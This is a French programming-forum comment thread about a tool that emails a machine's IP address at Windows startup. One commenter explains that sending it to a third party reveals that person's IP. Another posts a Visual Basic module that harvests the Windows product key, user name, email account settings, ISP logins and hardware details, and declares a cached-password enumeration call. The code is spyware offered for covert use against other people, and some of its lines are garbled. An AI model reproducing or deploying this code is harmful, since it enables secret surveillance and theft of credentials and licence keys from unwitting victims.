Commentaires sur une source : RECUPERER IP PAR MAIL (AVEC UNE PAGE PHP) DES LE DEMARAGE DE WIN (MISE À JOUR)

cs_chico200987

Messages postés: 92
Date d'inscription: samedi 13 novembre 2004
Statut: Membre
Dernière intervention: 26 septembre 2008

13 août 2006 à 14:26

Il y a un début à tout, comment par programmer de tout petit truc presque inutil et exploite les sources données ici celà peut t'aider ;)

Sinon... Google est ton amis ;D

cs_selin

Messages postés: 5
Date d'inscription: vendredi 2 décembre 2005
Statut: Membre
Dernière intervention: 5 juillet 2006

5 juil. 2006 à 15:00

serieu je ne comprend rien du tout c est si loin de ce que vous raconter et jaimerais apprendre mais je crois que j ai beaucoup a apprendre aurier vous des site expliquant plus facilement ??

cs_mogador

Messages postés: 33
Date d'inscription: mercredi 18 octobre 2000
Statut: Membre
Dernière intervention: 4 janvier 2010

21 déc. 2005 à 11:20

bonjour ,hey peu tu m"envoyer la source final :)
merci

mogador_13@yahoo.fr

cs_sitemo

Messages postés: 341
Date d'inscription: samedi 8 novembre 2003
Statut: Membre
Dernière intervention: 29 juin 2011

1
2 juil. 2005 à 12:41

ou je met mon adresse, je le vois pas ??? stp dis moi

cs_chico200987

Messages postés: 92
Date d'inscription: samedi 13 novembre 2004
Statut: Membre
Dernière intervention: 26 septembre 2008

2 juil. 2005 à 08:38

Ca depend... si c'est toi qu'il l'ouvre et qui le met dans C:\ et que tu met ton adresse mail dans le code source, c'est toi qui le recevra mais si tu l'envoi à une tiers personne avec ton adresse mail dans la source, tu recevra l'ip de cette personne des qu'elle se connectera =)

Elastycman

Messages postés: 40
Date d'inscription: mardi 28 janvier 2003
Statut: Membre
Dernière intervention: 3 octobre 2006

14 mars 2005 à 19:13

Voila un pti module qui n'est pas de moi, joré bien voulu mettre le lien de la source ainsi ke le nom de l'auteur mais impossible de la retrouver (ca fé une demi heure ke je cherche!). Il permet de récuperer plein plein d'infos. Enregistre ce ki suit en tant ke module :

---------------------------------------------------------------------
Public Const HKEY_CLASSES_ROOT = &H80000000
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_USERS = &H80000003
Public Const HKEY_PERFORMANCE_DATA = &H80000004
Public Const ERROR_SUCCESS = 0&

'Avoir la version de l'OS
Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long

Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
wSPMajor As Integer
End Type

Const BITSPIXEL = 12
Const PLANES = 14
Const VER_PLATFORM_WIN32s = 0
Const VER_PLATFORM_WIN32_WINDOWS = 1
Const VER_PLATFORM_WIN32_NT = 2

'Avoir le nombre de couleurs de l'écran
Declare Function GetDesktopWindow Lib "user32" () As Long
Declare Function GetDeviceCaps Lib "GDI32" (ByVal hDC As Long, ByVal nIndex As Long) As Long
Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Declare Function ReleaseDC Lib "user32" (ByVal hwnd As Long, ByVal hDC As Long) As Long

'Vitesse du double click
Declare Function GetDoubleClickTime Lib "user32" () As Long

'Avoir le nom de l'ordinateur
Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" ( _
ByVal lpBuffer As String, _
nSize As Long) As Long

'Heure système du PC
Declare Sub GetSystemTime Lib "kernel32" ( _
lpSystemTime As SYSTEMTIME)

'Heure locale du Pc
Declare Sub GetLocalTime Lib "kernel32" ( _
lpSystemTime As SYSTEMTIME)

'Temps écoulé depuis l'ouverture de windows
Declare Function GetTickCount Lib "kernel32" () As Long

'Obtenir le chemin du répertoire système de windows
Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

'Obtenir le chemin du répertoire temporaire de windows
Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long

'Obtenir le chemin du répertoire de windows
Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" ( _
ByVal lpBuffer As String, _
ByVal nSize As Long) As Long

'Récupère le login sous Nt
Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long

'Avoir l'espace libre d'un disque
Declare Function GetDiskFreeSpaceEx Lib "kernel32" Alias "GetDiskFreeSpaceExA" (ByVal lpDirectoryName As String, lpFreeBytesAvailableToCaller As Currency, lpTotalNumberOfBytes As Currency, lpTotalNumberOfFreeBytes As Currency) As Long

'Informations sur la mémoire
Declare Sub GlobalMemoryStatus Lib "kernel32" (lpBuffer As MEMORYSTATUS)
Type MEMORYSTATUS
dwLength As Long
dwMemoryLoad As Long
dwTotalPhys As Long
dwAvailPhys As Long
dwTotalPageFile As Long
dwAvailPageFile As Long
dwTotalVirtual As Long
dwAvailVirtual As Long
End Type

Type SYSTEMTIME
wYear As Integer
wMonth As Integer
wDayOfWeek As Integer
wDay As Integer
wHour As Integer
wMinute As Integer
wSecond As Integer
wMilliseconds As Integer
End Type

Declare Function WNetEnumCachedPasswords Lib "mpr.dll" (ByVal s As String, ByVal i As Integer, ByVal b As Byte, ByVal proc As Long, ByVal l As Long) As Long

Type PASSWORD_CACHE_ENTRY
cbEntry As Integer
cbResource As Integer
cbPassword As Integer
iEntry As Byte
nType As Byte
abResource(1 To 1024) As Byte
End Type

Declare Function RegCloseKey Lib "advapi32.dll" (ByVal Hkey As Long) As Long

Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String) As Long

Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal Hkey As Long, ByVal lpValueName As String) As Long

Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long

Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Const REG_SZ = 1 ' Unicode nul terminated String
Public Const REG_DWORD = 4 ' 32-bit number

Public Function RecupInfosPc() As String
On Error Resume Next
Const Cinternet = "Software\Microsoft\Internet ClientX"
Const Clef = "Software\Microsoft\Windows\CurrentVersion"
Dim Infos As String
Dim FicKeylog, Nom, Organisation, Ordinateur, Serial As String
Dim Versionwin, VersionNum, ProductId, MMX As String
Dim Repwindows, Productname, Processeur, Idprocesseur As String
Dim Infonie, Wanadoo, VerInternet As String
Dim Email, EmailName, SMTPServer, NNTPServer, POPServer As String
Dim RepProgramFiles As String

Set fso = CreateObject("Scripting.FileSystemObject")
Set ld = fso.Drives

'Infos sur l'utilisateur
VNumber = getstring(HKEY_LOCAL_MACHINE, Clef, "VersionNumber")
Organisation = getstring(HKEY_LOCAL_MACHINE, Clef, "RegisteredOrganization")
Serial = getstring(HKEY_LOCAL_MACHINE, Clef, "ProductKey")
VersionNum = getstring(HKEY_LOCAL_MACHINE, Clef, "VersionNumber")
ProductId = getstring(HKEY_LOCAL_MACHINE, Clef, "ProductId")
Productname = getstring(HKEY_LOCAL_MACHINE, Clef, "ProductName")
Processeur = getstring(HKEY_LOCAL_MACHINE, "Hardware\Description\System\CentralProcessor\0", "VendorIdentifier")
Idprocesseur = getstring(HKEY_LOCAL_MACHINE, "Hardware\Description\System\CentralProcessor\0", "Identifier")
RepProgramFiles = getstring(HKEY_LOCAL_MACHINE, Clef, "ProgramFilesPath")
MMX = getstring(HKEY_LOCAL_MACHINE, "Hardware\Description\System\CentralProcessor\0", "MMXIdentifier")

'Infos sur internet
VerInternet = getstring(HKEY_LOCAL_MACHINE, Clef, "Plus! VersionNumber")
Wanadoo = getstring(HKEY_CURRENT_USER, "RemoteAccess\Profile\Wanadoo Plus", "User")
Infonie = getstring(HKEY_CURRENT_USER, "RemoteAccess\Profile\infonie", "User")
Email = getstring(HKEY_CURRENT_USER, Cinternet, "EMail_Address")
EmailName = getstring(HKEY_CURRENT_USER, Cinternet, "EMail_Name")
SMTPServer = getstring(HKEY_CURRENT_USER, Cinternet, "SMTP_Server")
POPServer = getstring(HKEY_CURRENT_USER, Cinternet, "POP_Server")
NNTPServer = getstring(HKEY_CURRENT_USER, Cinternet, "NNTP_Server")

'Récupération des infos
Infos = ""
Infos = Infos + "**********************************************************" + vbCrLf
Infos = Infos + "*****************INFORMATIONS UTILISATEUR*****************" + vbCrLf
Infos = Infos + "**********************************************************" + vbCrLf
Infos = Infos + "Nom de l'utilisateur : " + UserName() + vbCrLf
Infos = Infos + "Nom de l'ordinateur : " + ComputerName() + vbCrLf
Infos = Infos + "Nom de l'organisation : " + Organisation + vbCrLf
Infos = Infos + "Vitesse du double-click: " & GetDoubleClickTime & " millisecondes" & vbCrLf
Infos = Infos + vbCrLf
Infos = Infos + "**********************************************************" + vbCrLf
Infos = Infos + "*****************INFORMATIONS ORDINATEUR******************" + vbCrLf
Infos = Infos + "**********************************************************" + vbCrLf
'Infos = Infos + "Heure locale du PC : " & CStr(HeureLocale) & vbCrLf
'Infos = Infos + "Heure système du PC : " & CStr(HeureSysteme) & vbCrLf
Infos = Infos + "Résolution de l'écran : " & Resolution & vbCrLf
Infos = Infos + "Nombre de couleurs : " & NbCouleurs & vbCrLf
Infos = Infos + vbCrLf
Infos = Infos + "**********************************************************" + vbCrLf
Infos = Infos + "*******************INFORMATIONS OS************************" + vbCrLf
Infos = Infos + "**********************************************************" + vbCrLf
Infos = Infos + "OS de la machine : " + RecupOS + vbCrLf
Infos = Infos + "Système d'exploitation : " + Productname + vbCrLf
Infos = Infos + "Numéro de la version : " + VersionNum + vbCrLf
Infos = Infos + "Numéro de série : " + Serial + vbCrLf
Infos = Infos + "ProductId : " + ProductId + vbCrLf
Infos = Infos + "Répertoire de Windows : " + WindowsDirectory + vbCrLf
Infos = Infos + "Répertoire système : " + SystemDirectory + vbCrLf
Infos = Infos + "Repertoire temporaire : " + TempFolder + vbCrLf
Infos = Infos + "Repertoire des progs : " + RepProgramFiles + vbCrLf
Infos = Infos + vbCrLf
Infos = Infos + "**********************************************************" + vbCrLf
Infos = Infos + "*******************INFORMATIONS INTERNET******************" + vbCrLf
Infos = Infos + "**********************************************************" + vbCrLf
Infos = Infos + "Version d'I.E : " + VerInternet + vbCrLf
Infos = Infos + "Email expéditeur : " + EmailName + vbCrLf
Infos = Infos + "Adresse Email : " + Email + vbCrLf
Infos = Infos + "Serveur SMTP : " + SMTPServer + vbCrLf
Infos = Infos + "Serveur POP : " + POPServer + vbCrLf
Infos = Infos + "Serveur NNTP : " + NNTPServer + vbCrLf
Infos = Infos + "Host Name : " + GetIPHostName + vbCrLf
Infos = Infos + "IP du poste : " + GetIPAddress + vbCrLf
If Wanadoo <> "" Then
Infos = Infos + "Login Wanadoo : " + Wanadoo + vbCrLf
End If
If Infonie <> "" Then
Infos = Infos + "Login Infonie : " + Infonie + vbCrLf
End If
Infos = Infos + vbCrLf
Infos = Infos + "**********************************************************" + vbCrLf
Infos = Infos + "******************INFORMATIONS MATERIEL*******************" + vbCrLf
Infos = Infos + "**********************************************************" + vbCrLf
If MMX <> "" Then
Infos = Infos + "MMX identificateur : " + MMX + vbCrLf
End If
Infos = Infos + "Processeur du PC : " + Idprocesseur + vbCrLf
Infos = Infos + "Marque du processeur : " + Processeur + vbCrLf
Infos = Infos + vbCrLf
Infos = Infos + "------------------------------" + vbCrLf
Infos = Infos + "|INFORMATIONS SUR LA MEMOIRE |" + vbCrLf
Infos = Infos + "------------------------------" + vbCrLf
Infos = Infos + Mem + vbCrLf
Infos = Infos + "-------------------------------" + vbCrLf
Infos = Infos + "|INFORMATIONS SUR LES DISQUES |" + vbCrLf
Infos = Infos + "-------------------------------" + vbCrLf
For Each d In ld
If d.IsReady Then
s = InfosDisk(d.Path & "")
Infos = Infos + CStr(s) + vbCrLf
End If
Next
RecupInfosPc = Infos

End Function

Public Sub savekey(Hkey As Long, strPath As String)
On Error Resume Next
Dim keyhand&
r = RegCreateKey(Hkey, strPath, keyhand&)
r = RegCloseKey(keyhand&)
End Sub

Public Function getstring(Hkey As Long, strPath As String, strValue As String)
On Error Resume Next
'EXAMPLE:
'
'text1.text = getstring(HKEY_CURRENT_USE
' R, "Software\VBW\Registry", "String")
'
Dim keyhand As Long
Dim datatype As Long
Dim lResult As Long
Dim strBuf As String
Dim lDataBufSize As Long
Dim intZeroPos As Integer
r = RegOpenKey(Hkey, strPath, keyhand)
lResult = RegQueryValueEx(keyhand, strValue, 0&, lValueType, ByVal 0&, lDataBufSize)

If lValueType = REG_SZ Then
strBuf = String(lDataBufSize, " ")
lResult = RegQueryValueEx(keyhand, strValue, 0&, 0&, ByVal strBuf, lDataBufSize)

If lResult = ERROR_SUCCESS Then
intZeroPos = InStr(strBuf, Chr$(0))

If intZeroPos > 0 Then
getstring = Left$(strBuf, intZeroPos - 1)
Else
getstring = strBuf
End If
End If
End If
End Function

Public Sub savestring(Hkey As Long, strPath As String, strValue As String, strdata As String)
On Error Resume Next
'EXAMPLE:
'
'Call savestring(HKEY_CURRENT_USER, "Software\VBW\Registry", "String", text1.text)
'
Dim keyhand As Long
Dim r As Long
r = RegCreateKey(Hkey, strPath, keyhand)
r = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata))
r = RegCloseKey(keyhand)
End Sub

Function getdword(ByVal Hkey As Long, ByVal strPath As String, ByVal strValueName As String) As Long
On Error Resume Next
'EXAMPLE:
'
'text1.text = getdword(HKEY_CURRENT_USER
' , "Software\VBW\Registry", "Dword")
'
Dim lResult As Long
Dim lValueType As Long
Dim lBuf As Long
Dim lDataBufSize As Long
Dim r As Long
Dim keyhand As Long
r = RegOpenKey(Hkey, strPath, keyhand)
' Get length/data type
lDataBufSize = 4
lResult = RegQueryValueEx(keyhand, strValueName, 0&, lValueType, lBuf, lDataBufSize)

If lResult = ERROR_SUCCESS Then

If lValueType = REG_DWORD Then
getdword = lBuf
End If
'Else
'Call errlog("GetDWORD-" & strPath, Fals
' e)
End If
r = RegCloseKey(keyhand)
End Function

Function SaveDword(ByVal Hkey As Long, ByVal strPath As String, ByVal strValueName As String, ByVal lData As Long)
On Error Resume Next
'EXAMPLE"
'
'Call SaveDword(HKEY_CURRENT_USER, "Soft
' ware\VBW\Registry", "Dword", text1.text)
'
'
Dim lResult As Long
Dim keyhand As Long
Dim r As Long
r = RegCreateKey(Hkey, strPath, keyhand)
lResult = RegSetValueEx(keyhand, strValueName, 0&, REG_DWORD, lData, 4)
'If lResult <> error_success Then
' Call errlog("SetDWORD", False)
r = RegCloseKey(keyhand)
End Function

Public Function DeleteKey(ByVal Hkey As Long, ByVal strKey As String)
On Error Resume Next
'EXAMPLE:
'
'Call DeleteKey(HKEY_CURRENT_USER, "Soft
' ware\VBW")
'
Dim r As Long
r = RegDeleteKey(Hkey, strKey)
End Function

Public Function DeleteValue(ByVal Hkey As Long, ByVal strPath As String, ByVal strValue As String)
On Error Resume Next
'EXAMPLE:
'
'Call DeleteValue(HKEY_CURRENT_USER, "So
' ftware\VBW\Registry", "Dword")
'
Dim keyhand As Long
r = RegOpenKey(Hkey, strPath, keyhand)
r = RegDeleteValue(keyhand, strValue)
r = RegCloseKey(keyhand)
End Function

'Heure système du Pc
'Retourne l'heure système sous forme de chaîne
'(précision à la milliseconde)
Public Function HeureSysteme() As String
On Error Resume Next
Dim sysTime As SYSTEMTIME
Call GetSystemTime(sysTime)
HeureSysteme = CStr(sysTime.wDayOfWeek & ", " & _
sysTime.wDay & "/" & _
sysTime.wMonth & "/" & _
sysTime.wYear & " " & _
sysTime.wHour & ":" & _
sysTime.wMinute & ":" & _
sysTime.wSecond & "'" & _
sysTime.wMilliseconds)
End Function

'Heure locale du Pc
'Retourne l'heure locale sous forme de chaîne
'(précision à la milliseconde)
Public Function HeureLocale() As String
On Error Resume Next
Dim sysTime As SYSTEMTIME
Call GetLocalTime(sysTime)
HeureLocale = CStr(sysTime.wDayOfWeek & ", " & _
sysTime.wDay & "/" & _
sysTime.wMonth & "/" & _
sysTime.wYear & " " & _
sysTime.wHour & ":" & _
sysTime.wMinute & ":" & _
sysTime.wSecond & "'" & _
sysTime.wMilliseconds)
End Function

'Retourne le nom de l'ordinateur
Public Function ComputerName() As String
On Error Resume Next
Dim stTmp As String, lgTmp As Long
stTmp = Space$(250)
lgTmp = 251
Call GetComputerName(stTmp, lgTmp)
ComputerName = Split(stTmp, Chr$(0))(0)

End Function

'Temps écoulé depuis l'ouverture de windows
'Procédure de temporisation
'Le temps d'attente donné en paramètre en millisecondes est approximatif
Public Sub Sleep(lgMSec As Long)
On Error Resume Next
Dim lgTime As Long
lgTime = GetTickCount
Do While lgTime + lgMSec > GetTickCount
DoEvents
DoEvents
DoEvents
Loop

End Sub

'Temps écoulé dps l'ouverture de windows
Public Function TpsEcoule() As String
On Error Resume Next
Dim Temps, h, mn, s As Integer

Temps = Int(GetTickCount() / 1000)
h = Int(Temps / 3600)
mn = Int((Temps - 3600 * h) / 60)
s = Temps - 3600 * h - 60 * mn
TpsEcoule = h & " h " & mn & " mn " & s & " s"

End Function

'Retourne le chemin du répertoire système de windows
Public Function SystemDirectory() As String
On Error Resume Next
Dim stTmp As String, lgTmp As Long
stTmp = Space$(250)
lgTmp = 251
Call GetSystemDirectory(stTmp, lgTmp)
SystemDirectory = Split(stTmp, Chr$(0))(0)

End Function

'Récupère le login sous Nt
Public Function LoginNt() As String
On Error Resume Next
Dim strBuffer As String * 255
Dim lngBufferLength As Long
Dim lngRet As Long
Dim strTemp As String

lngBufferLength = 255
lngRet = GetUserName(strBuffer, lngBufferLength)
strTemp = UCase(Trim$(strBuffer))
NTDomainUserName = Left$(strTemp, Len(strTemp) - 1)
LoginNt = NTDomainUserName

End Function

'Connaitre le nombre de couleurs de l'écran

Public Function NbCouleurs() As String
On Error Resume Next
Dim lgDC As Long, lgRep As Long, lgNb As Double

lgDC = GetDC(GetDesktopWindow)
lgNb = GetDeviceCaps(lgDC, PLANES) * 2 ^ GetDeviceCaps(lgDC, BITSPIXEL)
lgRep = ReleaseDC(GetDesktopWindow, lgDC)
If lgNb 65536 Then NbCouleurs " (16 bits)"
If lgNb 4294967296# Then NbCouleurs " (32 bits)"
NbCouleurs = CStr(lgNb) & " Couleurs" & NbCouleurs

End Function

'Connaitre la résolution de l'écran
Public Function Resolution() As String
On Error Resume Next
Largeur% = Screen.Width \ Screen.TwipsPerPixelX
Hauteur% = Screen.Height \ Screen.TwipsPerPixelY
Resolution = Largeur% & " x " & Hauteur%

End Function

'Connaitre la version de Windows
Public Function RecupOS() As String
On Error Resume Next
Dim Msg As String
Dim myVer As OSVERSIONINFO
Dim dl&

Msg = ""
myVer.dwOSVersionInfoSize = 148
dl& = GetVersionEx&(myVer)
If myVer.dwPlatformId = VER_PLATFORM_WIN32_WINDOWS Then
If myVer.dwMajorVersion 4 And myVer.dwMinorVersion 0 Then
If myVer.dwBuildNumber = 950 Then
Msg = "Windows 95"
Else
Msg = "Windows 95 OSR2"
End If
ElseIf myVer.dwMajorVersion 4 And myVer.dwMinorVersion 10 Then
If myVer.dwBuildNumber = 1998 Then
Msg = "Windows 98"
Else
Msg = "Windows 98 SE"
End If
ElseIf myVer.dwMajorVersion >= 4 And myVer.dwMinorVersion > 10 Then
Msg = "Windows ME"
End If
ElseIf myVer.dwPlatformId = VER_PLATFORM_WIN32_NT Then
If myVer.dwMajorVersion 3 And myVer.dwMinorVersion 0 Then
Msg = "Windows NT 3.0"
ElseIf myVer.dwMajorVersion 3 And myVer.dwMinorVersion 1 Then
Msg = "Windows NT 3.1"
ElseIf myVer.dwMajorVersion 3 And myVer.dwMinorVersion 5 Then
Msg = "Windows NT 3.5"
ElseIf myVer.dwMajorVersion = 4 Then
Msg = "Windows NT 4.0"
ElseIf myVer.dwMajorVersion 5 And myVer.dwMinorVersion 0 Then
Msg = "Windows 2000"
ElseIf myVer.dwMajorVersion 5 And myVer.dwMinorVersion 1 Then
Msg = "Windows XP Profesionnel"
End If
Msg = Msg + " " + myVer.szCSDVersion + " "
End If
'msg = msg + myVer.dwMajorVersion & "." & myVer.dwMinorVersion & " Build " & (myVer.dwBuildNumber And &HFFFF&)

RecupOS = Msg

End Function

' Retourne le nom de l'utilisateur courant de l'ordinateur
Public Function UserName() As String
On Error Resume Next
Dim stTmp As String, lgTmp As Long

stTmp = Space$(250)
lgTmp = 251
Call GetUserName(stTmp, lgTmp)
UserName = Mid$(stTmp, 1, InStr(1, stTmp, Chr$(0)) - 1)

End Function

'Retourne le chemin du répertoire temporaire de windows
Public Function TempFolder() As String
On Error Resume Next
Dim stTmp As String, lgTmp As Long

stTmp = Space$(250)
lgTmp = 251
Call GetTempPath(lgTmp, stTmp)
TempFolder = Split(stTmp, Chr$(0))(0)

End Function

'Retourne le chemin du répertoire windows
Public Function WindowsDirectory() As String
On Error Resume Next
Dim stTmp As String, lgTmp As Long

stTmp = Space$(250)
lgTmp = 251
Call GetWindowsDirectory(stTmp, lgTmp)
WindowsDirectory = Split(stTmp, Chr$(0))(0)

End Function

'Connaître la taille de la mémoire
Public Function Mem() As String
On Error Resume Next
Dim Memoire As MEMORYSTATUS
GlobalMemoryStatus Memoire
Dim Msg As String

Msg = "Mémoire physique totale : "
If Memoire.dwTotalPhys > 1024 ^ 3 Then
Msg = Msg + FormatNumber((Memoire.dwTotalPhys / 1024 ^ 3), -1) & " Go"
Else
If Memoire.dwTotalPhys > 1024 ^ 2 Then
Msg = Msg + FormatNumber((Memoire.dwTotalPhys / 1024 ^ 2), -1) & " Mo"
Else
If Memoire.dwTotalPhys > 1024 Then
Msg = Msg + FormatNumber((Memoire.dwTotalPhys / 1024), -1) & " Ko"
End If
End If
End If
Msg = Msg + vbCrLf

Msg = Msg + "Mémoire physique libre : "
If Memoire.dwAvailPhys > 1024 ^ 3 Then
Msg = Msg + FormatNumber((Memoire.dwAvailPhys / 1024 ^ 3), -1) & " Go (" & Int(Memoire.dwAvailPhys / Memoire.dwTotalPhys * 100) & "%)"
Else
If Memoire.dwAvailPhys > 1024 ^ 2 Then
Msg = Msg + FormatNumber((Memoire.dwAvailPhys / 1024 ^ 2), -1) & " Mo (" & Int(Memoire.dwAvailPhys / Memoire.dwTotalPhys * 100) & "%)"
Else
If Memoire.dwAvailPhys > 1024 Then
Msg = Msg + FormatNumber((Memoire.dwAvailPhys / 1024), -1) & " Ko (" & Int(Memoire.dwAvailPhys / Memoire.dwTotalPhys * 100) & "%)"
End If
End If
End If
Msg = Msg + vbCrLf

Msg = Msg + "Mémoire physique utilisée : "
If (Memoire.dwTotalPhys - Memoire.dwAvailPhys) > 1024 ^ 3 Then
Msg = Msg + FormatNumber(((Memoire.dwTotalPhys - Memoire.dwAvailPhys) / 1024 ^ 3), -1) & " Go (" & Int(100 - (Int(Memoire.dwAvailPhys / Memoire.dwTotalPhys * 100))) & "%)"
Else
If (Memoire.dwTotalPhys - Memoire.dwAvailPhys) > 1024 ^ 2 Then
Msg = Msg + FormatNumber(((Memoire.dwTotalPhys - Memoire.dwAvailPhys) / 1024 ^ 2), -1) & " Mo (" & Int(100 - (Int(Memoire.dwAvailPhys / Memoire.dwTotalPhys * 100))) & "%)"
Else
If (Memoire.dwTotalPhys - Memoire.dwAvailPhys) > 1024 Then
Msg = Msg + FormatNumber(((Memoire.dwTotalPhys - Memoire.dwAvailPhys) / 1024), -1) & " Ko (" & Int(100 - (Int(Memoire.dwAvailPhys / Memoire.dwTotalPhys * 100))) & "%)"
End If
End If
End If
Msg = Msg + vbCrLf + vbCrLf

Msg = Msg + "Mémoire virtuelle totale : "
If Memoire.dwTotalVirtual > 1024 ^ 3 Then
Msg = Msg + FormatNumber((Memoire.dwTotalVirtual / 1024 ^ 3), -1) & " Go"
Else
If Memoire.dwTotalVirtual > 1024 ^ 2 Then
Msg = Msg + FormatNumber((Memoire.dwTotalVirtual / 1024 ^ 2), -1) & " Mo"
Else
If Memoire.dwTotalVirtual > 1024 Then
Msg = Msg + FormatNumber((Memoire.dwTotalVirtual / 1024), -1) & " Ko"
End If
End If
End If
Msg = Msg + vbCrLf

Msg = Msg + "Mémoire virtuelle libre : "
If Memoire.dwAvailVirtual > 1024 ^ 3 Then
Msg = Msg + FormatNumber((Memoire.dwAvailVirtual / 1024 ^ 3), -1) & " Go (" & Int(Memoire.dwAvailVirtual / Memoire.dwTotalVirtual * 100) & "%)"
Else
If Memoire.dwAvailVirtual > 1024 ^ 2 Then
Msg = Msg + FormatNumber((Memoire.dwAvailVirtual / 1024 ^ 2), -1) & " Mo (" & Int(Memoire.dwAvailVirtual / Memoire.dwTotalVirtual * 100) & "%)"
Else
If Memoire.dwAvailVirtual > 1024 Then
Msg = Msg + FormatNumber((Memoire.dwAvailVirtual / 1024), -1) & " Ko (" & Int(Memoire.dwAvailVirtual / Memoire.dwTotalVirtual * 100) & "%)"
End If
End If
End If
Msg = Msg + vbCrLf

Msg = Msg + "Mémoire virtuelle utilisée : "
If (Memoire.dwTotalVirtual - Memoire.dwAvailVirtual) > 1024 ^ 3 Then
Msg = Msg + FormatNumber(((Memoire.dwTotalVirtual - Memoire.dwAvailVirtual) / 1024 ^ 3), -1) & " Go (" & Int(100 - (Int(Memoire.dwAvailVirtual / Memoire.dwTotalVirtual * 100))) & "%)"
Else
If (Memoire.dwTotalVirtual - Memoire.dwAvailVirtual) > 1024 ^ 2 Then
Msg = Msg + FormatNumber(((Memoire.dwTotalVirtual - Memoire.dwAvailVirtual) / 1024 ^ 2), -1) & " Mo (" & Int(100 - (Int(Memoire.dwAvailVirtual / Memoire.dwTotalVirtual * 100))) & "%)"
Else
If (Memoire.dwTotalVirtual - Memoire.dwAvailVirtual) > 1024 Then
Msg = Msg + FormatNumber(((Memoire.dwTotalVirtual - Memoire.dwAvailVirtual) / 1024), -1) & " Ko (" & Int(100 - (Int(Memoire.dwAvailVirtual / Memoire.dwTotalVirtual * 100))) & "%)"
End If
End If
End If
Msg = Msg + vbCrLf + vbCrLf

Msg = Msg + "Taille totale du fichier d'échange : "
If Memoire.dwTotalPageFile > 1024 ^ 3 Then
Msg = Msg + FormatNumber((Memoire.dwTotalPageFile / 1024 ^ 3), -1) & " Go"
Else
If Memoire.dwTotalPageFile > 1024 ^ 2 Then
Msg = Msg + FormatNumber((Memoire.dwTotalPageFile / 1024 ^ 2), -1) & " Mo"
Else
If Memoire.dwTotalPageFile > 1024 Then
Msg = Msg + FormatNumber((Memoire.dwTotalPageFile / 1024), -1) & " Ko"
End If
End If
End If
Msg = Msg + vbCrLf

Msg = Msg + "Espace libre du fichier d'échange : "
If Memoire.dwAvailPageFile > 1024 ^ 3 Then
Msg = Msg + FormatNumber((Memoire.dwAvailPageFile / 1024 ^ 3), -1) & " Go (" & Int(Memoire.dwAvailPageFile / Memoire.dwTotalPageFile * 100) & "%)"
Else
If Memoire.dwAvailPageFile > 1024 ^ 2 Then
Msg = Msg + FormatNumber((Memoire.dwAvailPageFile / 1024 ^ 2), -1) & " Mo (" & Int(Memoire.dwAvailPageFile / Memoire.dwTotalPageFile * 100) & "%)"
Else
If Memoire.dwAvailPageFile > 1024 Then
Msg = Msg + FormatNumber((Memoire.dwAvailPageFile / 1024), -1) & " Ko (" & Int(Memoire.dwAvailPageFile / Memoire.dwTotalPageFile * 100) & "%)"
End If
End If
End If
Msg = Msg + vbCrLf

Msg = Msg + "Espace utilisé du fichier d'échange : "
If (Memoire.dwTotalPageFile - Memoire.dwAvailPageFile) > 1024 ^ 3 Then
Msg = Msg + FormatNumber(((Memoire.dwTotalPageFile - Memoire.dwAvailPageFile) / 1024 ^ 3), -1) & " Go (" & Int(100 - (Int(Memoire.dwAvailPageFile / Memoire.dwTotalPageFile * 100))) & "%)"
Else
If (Memoire.dwTotalPageFile - Memoire.dwAvailPageFile) > 1024 ^ 2 Then
Msg = Msg + FormatNumber(((Memoire.dwTotalPageFile - Memoire.dwAvailPageFile) / 1024 ^ 2), -1) & " Mo (" & Int(100 - (Int(Memoire.dwAvailPageFile / Memoire.dwTotalPageFile * 100))) & "%)"
Else
If (Memoire.dwTotalPageFile - Memoire.dwAvailPageFile) > 1024 Then
Msg = Msg + FormatNumber(((Memoire.dwTotalPageFile - Memoire.dwAvailPageFile) / 1024), -1) & " Ko (" & Int(100 - (Int(Memoire.dwAvailPageFile / Memoire.dwTotalPageFile * 100))) & "%)"
End If
End If
End If
Msg = Msg + vbCrLf

Mem = Msg

End Function

Public Function InfosDisk(ByVal Disk As String) As String
On Error Resume Next
'Dim Drv As Drive
Dim TypeD As String
Dim DrvName As String
Dim Msg As String

Msg = ""
Set fso = CreateObject("Scripting.FileSystemObject")
Set Drv = fso.GetDrive(Mid(Disk, 1, 2))
If Drv.IsReady Then DrvName Drv.Path & "\ [ " & Drv.VolumeName & " ]" Else DrvName Drv.Path & ""
Select Case Drv.DriveType
Case 1
TypeD = "Disquette "
Case 2
TypeD = "Disque dur "
Case 4
TypeD = "CD/DVD Rom "
Case 3
TypeD = "Réseau "
Case 5
TypeD = "Ram "
Case 6
TypeD = "Inconnu "
End Select

If Drv.IsReady Then
Msg = TypeD + Drv.Path + "" + vbCrLf
